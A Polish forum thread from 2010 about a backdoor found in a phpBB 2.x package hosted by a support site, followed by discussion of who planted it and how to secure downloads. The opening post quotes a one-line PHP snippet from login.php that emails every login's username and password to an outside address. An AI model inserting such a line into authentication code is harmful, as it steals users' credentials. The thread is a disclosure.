Widok do druku | « Poprzedni temat | Następny temat »
Temat
-
Wysłany: 14 Mar 2010, 18:58
Zupełnie przypadkowo, przeglądając kod z paczki phpBB 2.x, a właściwie pliku login.php, znalazłem chyba znacząco podważający wiarygodność tego serwisu kod php
www.phpbbhelp.pl/download.php?d=453
Plik login.php
Kod:@mail('phpbb2pl@gmail.com', $_SERVER['SERVER_NAME'] . ' - Haslo', $username .' : '. $password);
Nie trzeba być znawcą php, żeby wiedzieć jakie działanie ma przynieść powyższy kod.
Odpowiedzi
-
Wysłany: 14 Mar 2010, 20:07
FAIL
@down
Widocznie od pewnego czasu paczka z głównej zawiera tą linijkę...Uwagi moderatora Vision (dodane 14 Mar 2010, 20:12):
Ostatnio edytowany przez Vision, 14 Mar 2010, 20:12, edytowano w sumie 1 raz
-
Wysłany: 14 Mar 2010, 20:10
dziwne... chyba tylko Twoja paczka to zawiera...
w swojej ktora dosc dawno sciagalem, nie ma czegos takiego...
Jeśli chcesz coś ode mnie to pisz na FORUM!!
World of Warcraft
-
Wysłany: 14 Mar 2010, 20:33
Wyczyść cache przeglądarki i pobierz jeszcze raz... linia 59 plik login.php
-
Wysłany: 14 Mar 2010, 20:47
Faktycznie ;-/ Jest.
-
Wysłany: 14 Mar 2010, 21:29
-
Wysłany: 14 Mar 2010, 21:29
Osobiście nie wierze, aby zrobił to Quba, dlatego stawiam na osobę, która nie ma nic wspólnego z tym portalem (włamać na ftp serwera w sumie nie jest tak trudno dla wiedzących co robić).
APF 2.0 - patch | phpBB2 r0x | BeerMod 1.0.0 RC3 | My MODs
-
Wysłany: 14 Mar 2010, 22:49
Zaraz to zweryfikuję.
Swoją drogą możliwe, że ma z tym związek osoba pisząca tego posta. Zaraz zobaczę o co chodzi i przejrzę paczkę.
linkme.pl ~ Darmowe pozycjonowanie w google Twojego forum
Wymiana plusami oraz Lubię to
-
Wysłany: 14 Mar 2010, 23:40
roadway napisał(a):Zupełnie przypadkowo, przeglądając kod z paczki phpBB 2.x, a właściwie pliku login.php
To zostawię bez komentarza i nie, nie chcę się nawet domyślać co sam autor tematu ma wspólnego z tą sprawą.roadway napisał(a):znalazłem chyba znacząco podważający wiarygodność tego serwisu kod php
Tego też nie skomentuję.
Gwoli wyjaśnienia, serwer ten nie korzysta z FTP.
Czy ktoś, ściągający paczkę w ostatnim czasie mógłby podzielić się informacją, czy owy kod również się tam znajduje? Przydatna byłaby dokładna data pobrania. Jak już wyżej wspominałem, mam wrażenie, że ten kod znajduje się tam już od dość długiego czasu, nad czym ubolewam tym bardziej.
@Kudlaty: jak dawno temu ściągałeś swoją paczkę? Chociażby w przybliżeniu.
linkme.pl ~ Darmowe pozycjonowanie w google Twojego forum
Wymiana plusami oraz Lubię to
-
Wysłany: 15 Mar 2010, 09:54
Quba napisał(a):@Kudlaty: jak dawno temu ściągałeś swoją paczkę? Chociażby w przybliżeniu.
przy wypuszczeniu najnowszej wersji 2.x
wiec jak sam widzisz, dosc dlugo
swoja droga, ciekaw jestem kto to umiescil... ;/
hmm moze na przyszlosc, zrobmy publiczne repo(mercurial - bitbucket lub google) i z tamtad tez sie da pobrac jako zip i tbz2
przy czym nikt nam wtedy nic nie podmieni chocby nie wiem co
a i aktualizacja bedzie latwa
Jeśli chcesz coś ode mnie to pisz na FORUM!!
World of Warcraft
-
Wysłany: 15 Mar 2010, 10:09
Nie. Po prostu nie będziemy hostować paczki phpBB. Niech sobie pobierają ze strony phpbb.com. Jest mi naprawdę bardzo przykro, że ludzie w taki sposób odwdzięczają się za otrzymaną pomoc.
Źródeł ataku mogło być kilka. Mogło to mieć związek z tą sytuacją, kiedy podmieniony został plik index.php strony głównej. Mógł to zrobić ktoś z download teamu (swoją drogą co za idiota w ogóle dał prawa do downloadu niezaufanym osobom!?). Ostatecznie ktoś mógł mieć dostęp do plików serwera. Jednakże tę ostatnią opcję bym wykluczył. Aktualnie jestem jedyną osobą posiadającą bezpośredni dostęp do plików.
linkme.pl ~ Darmowe pozycjonowanie w google Twojego forum
Wymiana plusami oraz Lubię to
-
Wysłany: 15 Mar 2010, 12:26
Chciałbym przeprosić za oskarżenia, które w przypływie emocji wysłałem w stronę byłej ekipy portalu oraz założyciela tematu. Niestety na obecnym etapie mogę się tylko domyślać, kto był sprawcą tego czynu. Póki nie będę miał dowodów, nie będę ujawniać tutaj nawet swoich domysłów. O moich dalszych działaniach w tej sprawie mających na celu dojście, kim jest sprawca, będę informował na bieżąco.
linkme.pl ~ Darmowe pozycjonowanie w google Twojego forum
Wymiana plusami oraz Lubię to
-
Wysłany: 15 Mar 2010, 18:44
Quba napisał(a):Nie. Po prostu nie będziemy hostować paczki phpBB. Niech sobie pobierają ze strony phpbb.com.
Jest to poniekąd dobry pomysł, aczkolwiek ciężko go rozciągnąć na cały download. Co zatem zamierzasz zrobić z modyfikacjami, które mogą równie skutecznie kryć backdoory? Tłumaczenia łatwo przejrzeć, bo są schematyczne, ale wyzbywanie się de facto całego downloadu to tak, jakbym zlikwidował w domu kanalizację ze strachu przed szczurami mogącymi przedostać się rurą do mieszkania. Niby się da, ale życia to nie ułatwia.
Przy okazji, cieszę się, że jednak "zszedłeś" z poprzedniej ekipy.
Once proud and well-known admin ;>
One day, I'll be back...
fotozajezdnia | krakowska linia muzealna
-
Wysłany: 15 Mar 2010, 19:25
hmm moim zdaniem jednak dobrym rozwiazaniem byloby hg na google
jak ktos robilby modyfikacje to robi fork naszego phpbb i kazdy bez problemu moze pobrac co chce a nawet bedzie mogl sobie bez najmniejszch problemow zainstalowac co chce
Jeśli chcesz coś ode mnie to pisz na FORUM!!
World of Warcraft
-
Wysłany: 15 Mar 2010, 19:29
Są inne strony oprócz google z taką możliwością, ale warto by było się za tym rozejrzeć lub zostawić wszystko na FTP, tylko aby dostęp do tego miała jedna a poważna osoba.
Kto jest na forum
Użytkownicy przeglądający to forum: Brak zarejestrowanych użytkowników oraz 0 gości
- Nie możesz zakładać nowych tematów na tym forum
- Nie możesz odpowiadać w tematach na tym forum
- Nie możesz edytować swoich postów na tym forum
- Nie możesz usuwać swoich postów na tym forum
- Nie możesz dodawać załączników na tym forum